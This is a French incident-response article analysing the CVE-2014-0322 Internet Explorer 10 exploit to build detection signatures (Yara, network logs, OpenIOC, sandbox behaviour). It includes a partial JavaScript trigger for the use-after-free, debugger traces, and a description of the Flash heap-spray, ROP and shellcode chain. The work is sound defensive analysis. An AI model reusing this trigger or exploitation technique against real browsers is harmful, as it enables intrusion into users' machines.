Cet article présente, à travers l'analyse de la vulnérabilité CVE-2014-0322 affectant Internet Explorer, le cheminement suivi pour parvenir à la détermination de signatures permettant de détecter les codes exploitant cette vulnérabilité.
1. Contexte
Dans le cadre de la réponse à incidents, les équipes chargées de l'analyse de la compromission peuvent être amenées à récupérer, au travers des fichiers présents sur le disque ou des données ayant transité par le réseau, le binaire responsable de l'entrée de l'attaquant sur le système.
Souvent, le code malveillant se présente sous la forme d'un document qui, lors de son interprétation, tentera d'exploiter une vulnérabilité présente dans le lecteur. Parmi les lecteurs les plus fréquemment visés, il convient de citer les navigateurs, les lecteurs PDF ainsi que les outils de traitement de texte.
En général, ces logiciels ont pour point commun l'utilisation de différents langages de scripting pour le traitement du format de fichier qu'ils interprètent.
Une fois qu'un échantillon a été obtenu, l'analyste en vulnérabilités peut alors démarrer son analyse dans le but de fournir plusieurs types de signatures : des signatures système (fichiers déposés, clefs de registre modifiées…), des signatures réseau (domaines contactés, fichiers téléchargés…) et des signatures « comportementales » (appels système spécifiques, dissémination de données en mémoire...).
2. Méthodologie d'analyse appliquée à l'exploit ciblant la vulnérabilité CVE-2014-0322
2.1 Généralités
L'utilisation de cette vulnérabilité dans le cadre d'attaques a été identifiée publiquement le 11 février 2014 par la société FireEye [1]. Un exploit était déployé sur un site dédié aux vétérans de guerre des États-Unis dans le cadre d'une attaque de type « point d'eau ».
Cette vulnérabilité vise le navigateur Microsoft Internet Explorer dans sa version 10 et a fait l'objet d'un correctif dans le bulletin mensuel de Microsoft MS14-012 du 11 mars 2014 [2] [3].
Le code d'exploitation analysé se présente sous la forme de trois fichiers : une application Flash incluse dans une page HTML (qui elle-même contient du code JavaScript) et une image.
Lors de l'étude d'une vulnérabilité, il est recommandé que l'analyste travaille sur un poste déconnecté : en cas de compromission, seul le poste d'analyse est affecté et non l'ensemble du réseau auquel il est connecté.
2.2 Présentation de la vulnérabilité
2.2.1 Préparation d'une preuve de concept
Le code JavaScript déclenchant la vulnérabilité est similaire au code suivant disponible publiquement :
function dword2data(dword)
{
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
var g_arr = [];
function fun()
{
var a = 0;
var b = dword2data(0xdeadc0de);
var c = 0x1a1b2000;
for (a = 0; a < 0x250; ++a)
g_arr[a] = document.createElement('div');
while (b.length < 0x360)
{
if (b.length == (0x94 / 2))
b += dword2data(c + 0x10 - 0x0c);
else if ( b.length == (0x98 / 2))
b += dword2data(c + 0x14 - 0x8);
[...]
}
[...]
this.outerHTML = this.outerHTML
CollectGarbage();
var d = b.substring(0, (0x340 - 2) / 2);
for (a = 0; a < 0x250; ++a)
g_arr[a].title = d.substring(0, d.length);
}
function puIHa3()
{
[...]
b.onpropertychange = fun;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}
Afin de découvrir l'emplacement du code responsable de la redirection du flot d'exécution, il est plus aisé de modifier l'exploit fonctionnel pour obtenir une preuve de concept neutralisée. Dans notre cas, la fonction JavaScript dword2data est modifiée afin de ne retourner que la valeur 0x41414141.
Après avoir attaché le debugger au processus Internet Explorer chargé du rendu des pages et en se connectant à la page contenant la preuve de concept, l'exception suivante est obtenue :
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:
66cce4ee ff4010 inc dword ptr [eax+10h] ds:0023:41414151=????????
L'exception est déclenchée par le déréférencement d'une adresse invalide, à savoir 0x41414151, qui correspond au résultat de EAX + 0x10. Le registre EAX contient donc la valeur 0x41414141 obtenue suite à un appel à la fonction dword2data précédemment modifiée.
2.2.2 Analyse de l'exception
Le contenu du registre EAX provient d'un déréférencement antérieur du registre EDX. Le contenu de ce registre provient lui-même des arguments passés en paramètre à la fonction CMarkup::UpdateMarkupContentsVersion par la fonction parente CMarkup::NotifyElementEnterTree.
CMarkup::NotifyElementEnterTree
mov esi, [ebp+arg_0]
[...]
mov edx, esi
call CMarkup::UpdateMarkupContentsVersion
CMarkup::UpdateMarkupContentsVersion
[...]
mov eax, [edx+0ACh]
[...]
inc dword ptr [eax+10h]
En plaçant un point d'arrêt lors de l'appel à la fonction Cmarkup::NotifyElementEnterTree, on découvre, grâce à la présence d'une vtable, que la variable contenue dans arg_0 est un objet C++ de type CMarkup.
0:007> dps poi(poi(esp+4))
61324208 6142ba5d MSHTML!CMarkup::PrivateQueryInterface
6132420c 6133b8e4 MSHTML!CMarkup::PrivateAddRef
61324210 6133b8c1 MSHTML!CMarkup::PrivateRelease
[...]
En suivant la pile d'appels, on constate qu'il est vraisemblable que l'appel de cette fonction provienne du code JavaScript « c = b.appendChild(c); ».
0:007> kv
MSHTML!CMarkup::NotifyElementEnterTree
MSHTML!CMarkup::InsertSingleElement+0x169
MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
MSHTML!CMarkup::InsertElementInternal+0x2e
MSHTML!CDoc::InsertElement+0x9c
MSHTML!InsertDOMNodeHelper+0x454
MSHTML!CElement::InsertBeforeHelper+0x92
MSHTML!CElement::InsertBeforeHelper+0xe5
MSHTML!CElement::InsertBefore+0x36
MSHTML!CElement::Var_appendChild+0xcb
MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
En plaçant un point d'arrêt mémoire sur la variable arg_0, on détecte qu'une modification est effectuée lors de l'appel au destructeur de l'objet. Il semblerait que cet appel provienne du code JavaScript « this.outerHTML = this.outerHTML ».
0:007> kv
MSHTML!CMarkup::~CMarkup+0x16
MSHTML!CMarkup::`vector deleting destructor'+0xd
MSHTML!CBase::SubRelease+0x2e
MSHTML!CBase::PrivateRelease+0x7f
MSHTML!CMarkup::Release+0x2d
MSHTML!InjectHtmlStream+0x6f9
MSHTML!HandleHTMLInjection+0x82
MSHTML!CElement::InjectInternal+0x521
MSHTML!CElement::InjectTextOrHTML+0x1a4
MSHTML!CElement::put_outerHTML+0x1d
MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
[...]
jscript9!JavascriptDispatch::InvokeEx+0x1e5
MSHTML!CBase::InvokeDispatchWithThis+0xb9
MSHTML!CBase::InvokeEvent+0x2a2
MSHTML!CBase::FireEvent+0x12e
MSHTML!CElement::FireEvent+0x25d
MSHTML!CElement::Fire_onpropertychange+0x7e
MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
MSHTML!CElement::OnPropertyChange+0x743
MSHTML!CScriptElement::OnPropertyChange+0x16
MSHTML!BASICPROPPARAMS::SetStringProperty+0x4b5
MSHTML!CBase::put_StringHelper+0x5e
MSHTML!CScriptElement::SetPropertyHelper+0x19
MSHTML!CScriptElement::OnTextChange+0x53
MSHTML!CElement::HandleTextChange+0x37
MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
En reprenant l'exécution du programme, un nouvel accès au point d'arrêt mémoire est déclenché, cette fois-ci par la fonction memcpy, qui va copier vers la zone mémoire précédemment libérée la valeur 0x41414141.
0:007> kv
msvcrt!memcpy+0x5a
MSHTML!CAttrArray::Set+0x3c2
MSHTML!CAttrArray::Set+0x37
MSHTML!CAttrArray::SetString+0x41
MSHTML!BASICPROPPARAMS::SetString+0x30
MSHTML!BASICPROPPARAMS::SetStringProperty+0x48a
MSHTML!CBase::put_StringHelper+0x5e
MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_title+0x76
jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
[...]
MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
Enfin, en continuant l'exécution, l'exception vue précédemment est levée.
À partir de cette trace, plusieurs conclusions peuvent être tirées sur cette vulnérabilité :
- il s'agit d'une vulnérabilité de type User-After-Free : après libération de l'objet CMarkup, ce dernier est réutilisé ;
- les éléments du code JavaScript qui déclenchent la vulnérabilité sont :
- b.appendChild(c) qui provoque l'appel initial au chemin de code vulnérable ;
- this.outerHTML = this.outerHTML qui provoque la libération de l'objet CMarkup ;
- g_arr[a].title = d.substring(0, d.length) qui réécrit la zone mémoire précédemment utilisée par l'objet CMarkup.
2.3 Exploitation de la vulnérabilité
Le code de la fonction vulnérable (CMarkup::UpdateMarkupContentsVersion) ne présente pas de code permettant à l'attaquant une redirection « directe » du flot d'exécution (comme un CALL sur la valeur d'un registre). Cette vulnérabilité fournit « seulement » une primitive d'incrémentation sur un objet contrôlé par l'attaquant.
Afin de comprendre comment cette primitive est utilisée, il est nécessaire de décompiler le code flash [4].
2.3.1 Fonctionnement du code Flash
Le code Flash est contenu dans une seule classe ActionScript appelée Tope. Le constructeur de l'objet se charge de télécharger une image nommée « Erido.jpg ». Une fois ce téléchargement terminé, une nouvelle fonction est appelée.
Le but de cette fonction est de disséminer dans le tas du processus une multitude d'objets Vector de deux types : les premiers contiendront des entiers tandis que les seconds contiendront une référence vers un objet de type Sound précédemment instancié.
En ActionScript, les objets Vector peuvent être assimilés à des tableaux d'objets dont la taille est limitée. En observant ces objets en mémoire, l'agencement suivant apparaît :
| Vector_len | Vector_vtable | Vector_element_1 | ... | Vector_elem_n |
| 4 octets | 4 octets | 4 octets | ... | 4 octets |
Une fois le tas rempli de ces objets, la fonction JavaScript puIHa3 est appelée deux fois et un timer est déclenché afin d'appeler une fonction Flash une fois ce dernier écoulé.
Il est maintenant nécessaire de lancer l'exploit en prenant soin de positionner un point d'arrêt sur la fonction CMarkup::UpdateMarkupContentsVersion qui, précédemment, provoquait le plantage d'Internet Explorer.
Lors du déclenchement du point d'arrêt, la mémoire est organisée de la manière suivante :
MSHTML!CMarkup::UpdateMarkupContentsVersion:
6941e4d8 8b427c mov eax,dword ptr [edx+7Ch] ds:0023:08c37f9c=1a1b1ff0
0:007> dd edx L 400
08c37f20 deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0
08c37f30 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
08c37f40 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
[...]
0:007> dd 1a1b1ff0
1a1b1ff0 00000000 00000000 00000000 00000000
1a1b2000 000003fe 080d3000 deadbee1 00000000
1a1b2010 1a1b2000 1a1b2000 00000000 00000000
1a1b2020 00000000 00000000 00000000 00000000
[...]
Le registre EAX prend alors pour valeur une adresse du tas (0x1a1b1ff0) qui elle-même est positionnée 0x10 octets avant le début d'un objet de type Vector. Suite aux deux appels à la fonction vulnérable, le contenu du tas devient :
0:007> dd 1a1b1ff0
1a1b1ff0 00000000 00000000 00000000 00000000
1a1b2000 00000400 080d3000 deadbee1 00000000
1a1b2010 1a1b2000 1a1b2000 00000000 00000000
1a1b2020 00000000 00000000 00000000 00000000
[...]
Après cette modification, et une fois le timer écoulé, le code ActionScript reprend la main et va alors parcourir l'ensemble des Vector d'entiers, créés précédemment, à la recherche d'un objet Vector dont la taille sera supérieure à celle d'origine.
Une fois cet élément localisé, le code va accéder à la dernière entrée du tableau et lui affecter la valeur 0x3ffffff0. Cette entrée, positionnée à l'extérieur du Vector à cause de l'agrandissement de sa taille, a pour but d'écraser la taille du Vector suivant avec une grande valeur.
Le code ActionScript va ainsi pouvoir (en utilisant le Vector dont la taille a été passée à 0x3ffffff0) accéder, en lecture et en écriture, à une large portion de la mémoire du processus.
Tout d'abord, des objets vont être recherchés en mémoire afin d'obtenir les éléments nécessaires à la construction d'une chaîne ROP. On retrouve notamment la recherche d'un gadget de type stack pivot ainsi que l'adresse de la fonction ZwProtectVirtualMemory et l'adresse de l'objet Sound en mémoire. Il est à noter que cette résolution dynamique des objets permet de contourner l'ASLR.
Une large zone mémoire va ensuite être lue et stockée par le code ActionScript afin d'effectuer une sauvegarde de la zone du tas qui sera modifiée, dans le but de la restaurer une fois le code d'exploitation terminé.
Ensuite la possibilité d'écriture offerte par l'object Vector modifié va être utilisée afin de construire, sur le tas, la chaîne ROP et une première partie du shellcode. Cette partie sera ensuite complétée par des données issues de l'image Erido.jpg téléchargée précédemment. Une analyse complète du format de cette image est disponible à l'adresse suivante [5].
Enfin, l'adresse de la vtable de l'objet Sound est modifiée afin de pointer vers une nouvelle vtable, forgée par l'attaquant, située dans la zone du tas sous son contrôle.
Finalement le transfert du flot d'exécution est fait grâce à l'appel à la fonction toString de l'objet Sound.
Lorsqu'un point d'arrêt mémoire est positionné sur l'emplacement du stack pivot (xchg eax, esp ; ret;), il est possible de retrouver le code qui tente d'accéder en lecture à cette instruction :
mov eax, [ecx]
mov edx, [eax+70h]
call edx
ECX étant un pointeur vers l'adresse du début de la chaîne ROP, EAX est donc chargé avec l'adresse de la chaîne. Après l'exécution du stack pivot, ESP se retrouve donc en tout début de la chaîne ROP.
La disposition mémoire de la chaîne ROP est la suivante :
+-----------+--------------------------------------------+
|0x1a1b3100 | Adresse de ZwProtectVirtualMemory |
+-----------+--------------------------------------------+
|0x1a1b3104 | Adresse de retour (0x1ab1b311c) +--|----+
+-----------+--------------------------------------------+ |
|0x1a1b3108 | Argument 1 | |
+-----------+--------------------------------------------+ |
|[...] | [...] | |
+-----------+--------------------------------------------+ |
|0x1a1b311c | +---+ Shellcode (partie 1) <-------------|----+
+-----------+--|-----------------------------------------+
|[...] | | [...] |
+-----------+--|-----------------------------------------+
|0x1a1b3170 | | Adresse du stack pivot |
+-----------+--|-----------------------------------------+
|0x1a1b3174 | +---> Shellcode (partie 2) |
+-----------+--------------------------------------------+
L'appel à ZwProtectVirtualMemory avec les arguments pointant vers le tas permet de rendre ce dernier exécutable. Ainsi, lorsque le code saute sur la première partie du shellcode, celui-ci s'exécute sans problème. Cette partie se charge de sauvegarder certains éléments et de restaurer la véritable adresse de la vtable de l'objet Sound. Ensuite, le code saute sur la deuxième partie du shellcode.
2.4 Analyse du shellcode
Toujours avec un point d'arrêt mémoire sur l'emplacement dustack pivot, on effectue un dump du shellcode pour ensuite l'émuler à l'aide de scdbg [6].
scdbg.exe /f sc_raw
Loaded 40001 bytes from file sc_raw
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40110f LoadLibraryA(shell32)
40112d LoadLibraryA(user32)
401148 GetTempPathA(len=100, buf=12fb00) = 20
401182 GetTempPathA(len=100, buf=12fc00) = 20
4011cd CreateFileA(C:\Users\IEUser\AppData\Local\Temp\sqlrenew.txt) = 4
401243 WriteFile(h=4, buf=401475, len=400, lpw=12fa74, lap=0) = 1
Hiding repetitive WriteFile calls
401269 CloseHandle(4)
4012a7 CreateFileA(C:\Users\IEUser\AppData\Local\Temp\stream.exe) = 8
4012fb WriteFile(h=8, buf=40b875, len=400, lpw=12fa74, lap=0) = 1
Hiding repetitive WriteFile calls
401321 CloseHandle(8)
40135e LoadLibraryA(C:\Users\IEUser\AppData\Local\Temp\sqlrenew.txt)
Unknown Dll - Not implemented by libemu
401386 error accessing 0x1a1b2024 not mapped
[...]
À l'aide de ces informations, on peut voir, à moindre coût, que le shellcode dépose deux fichiers sur le disque, puis charge le premier en mémoire en tant que bibliothèque.
Une analyse plus poussée de ce shellcode permet de repérer des comportements spécifiques (que l'on a peu de chance de retrouver dans un binaire légitime) :
- résolution de fonctions utilisées par le shellcode via l'EAT;
- boucle XOR avec la valeur 0x95 avant l'appel à WriteFile ;
- avant l'appel à une fonction, détection de la présence de routines d'interception (JMP ou CALL à la place du prologue) et si c'est le cas, contournement de ces dernières.
2.5 Création de signatures
Lors de la création de signatures, il est important de garder en tête que ces dernières ne doivent pas générer trop de faux positifs afin de rester pertinentes et exploitables par les équipes de supervision. Il est donc nécessaire de se concentrer sur des éléments qui caractérisent l'exploitation de la vulnérabilité et qui ne se retrouvent pas dans des fichiers ou du trafic légitime.
De plus, il est bon de pouvoir disposer d'un jeu de données légitime varié afin de vérifier que les signatures qui ont été créées n'engendrent pas de faux positifs.
2.5.1 Signatures sur les données en transit par le réseau
2.5.1.1 Code source JavaScript
Comme vu précédemment, la succession d'appels effectués par le code JavaScript mène à une exception dans le code de mshtml.dll. La présence de ces fonctions dans un document HTML peut permettre de suspecter ce dernier. On pourra par exemple créer une règle Yara détectant la présence de ces appels dans un fichier HTML :
rule CVE_2014_0322
{
strings:
$inner1 = "this.outerHTML"
$inner2 = ".appendChild("
$inner3 = ".title"
condition:
$inner1 and $inner2 and $inner3
}
Dans le cas où le code source JavaScript est obfusqué, il est possible d'utiliser un désobfuscateur ou de baser les règles sur un arbre syntaxique abstrait. Cependant l'élaboration de ces outils est coûteuse en temps de développement pour des résultats qui ne sont pas toujours au rendez-vous.
2.5.1.2 Code source Flash
Des règles de détections peuvent être implémentées sur le code source Action Script. Il est cependant nécessaire de disposer d'outils d'analyse permettant la décompression/décompilation du code.
Plusieurs éléments du code sont discriminants. La boucle de recherche des bibliothèques chargées en mémoire ou le code responsable de la création de la chaîne ROP et du shellcode (dont la plupart des valeurs sont statiques) sont de bons candidats. Les valeurs fixes correspondant aux opcodes des actions spécifiques du shellcode vues précédemment sont d'autant plus intéressantes.
2.5.1.3 Image téléchargée
Le format spécifique utilisé pour embarquer des binaires dans le fichier image peut permettre de détecter la présence des en-têtes PE dans le fichier. Il est nécessaire pour cela d'implémenter un moteur qui se chargera de tenter de « déchiffrer » (XOR 0x95) le fichier à l'emplacement où les binaires sont attendus.
Il est à noter que cette méthode peut être étendue à d'autres types de fichiers, et ce sans connaître la clef de déchiffrement (en utilisant une attaque par force brute) afin de rechercher les en-têtes PE comme le fait par exemple l'outil XORSearch [7].
2.5.2 Signatures sur les journaux réseau
L'URL de récupération du fichier Erido.jpg est dépendante de l'emplacement du fichier Flash. L'apparition des fichiers Tope.swf et Erido.jpg provenant du même hôte sur le fichier journal d'un équipement réseau peut signaler une tentative d'exploitation d'un poste du réseau.
2.5.3 Signatures sur les fichiers déposés
Une fois le flot d'exécution transféré, le shellcode dépose deux fichiers. Il est possible de créer une signature OpenIOC qui détecterait la présence de ces fichiers sur le disque lors d'une investigation numérique en précisant le nom ainsi que le condensat de ces fichiers.
2.5.4 Signature sur l'exécution du processus
Durant l'exécution du processus dans un environnement de type bac à sable, il est possible d'intercepter les appels aux fonctions système. Ces appels sont le plus souvent légitimes. Cependant, appelés avec certains paramètres, ils peuvent devenir discriminants.
L'allocation consécutive d'une multitude d'éléments de la même taille sur le tas et son remplissage par une valeur spécifique, l'utilisation de la fonction ZwProtectVirtualMemory en demandant l'autorisation d'accès en exécution sur une zone sur le tas qui, de plus, contient l'adresse de retour de la fonction et l'utilisation de la fonction LoadLibrary avec en paramètre un fichier texte sont autant d'appels de fonctions qui peuvent trahir un comportement malveillant.
De plus l'utilisation d'EMET [8] dans un environnement de type bac à sable peut permettre de détecter un ensemble de comportements suspicieux sans avoir à fournir, au préalable, de signatures spécifiques.
2.5.5 Limites des signatures
Le problème principal inhérent aux signatures est qu'il est toujours possible pour l'attaquant de modifier le comportement de son code afin de parvenir à ne plus être détecté.
Pour chaque signature de détection présentée, une méthode de contournement peut être mise en place : le code JavaScript renvoyé au navigateur peut être obfusqué, le nom des fichiers et le condensat des fichiers Flash et JPG peuvent être changés, le shellcode et sa charge utile peuvent être modifiés, etc.
Cependant, la difficulté de la mise en place de ces modifications n'est pas la même : s'il est aisé d'obfusquer le code JavaScript transmis ou de changer la charge utile déposée sur le disque, d'autres opérations, telle que le changement de la structure de l'image contenant les binaires, peuvent être plus compliquées notamment pour un attaquant n’ayant pas développé l’exploit, car elles nécessitent une action sur plusieurs éléments : outil de génération de l'image, shellcode, fichier Flash.
Conclusion
La création de signatures dans le cadre de l'analyse de vulnérabilités nécessite une compréhension poussée du code d'exploitation depuis l'interprétation du fichier corrompu à l'exécution de code arbitraire. Cette analyse est nécessaire afin de comprendre la cause de l'exécution de code et le comportement du shellcode afin de pouvoir en extraire des signatures. Ces dernières doivent être un compromis entre des signatures les plus génériques permettant de détecter des modifications du code d'exploitation, mais générant du bruit (faux positifs), et des signatures spécifiques ne ciblant qu'un code d'exploitation particulier, mais sans générer d'erreur.
Documentation
[2] https://technet.microsoft.com/library/security/ms14-012
[3] http://cert.ssi.gouv.fr/site/CERTFR-2014-AVI-118/
[4] http://www.free-decompiler.com/flash/
[5] http://labs.bromium.com/2014/02/25/dissecting-the-newest-ie10-0-day-exploit-cve-2014-0322/
[6] http://sandsprite.com/blogs/index.php?uid=7&pid=152
[7] http://blog.didierstevens.com/programs/xorsearch/
[8] http://technet.microsoft.com/fr-fr/security/jj653751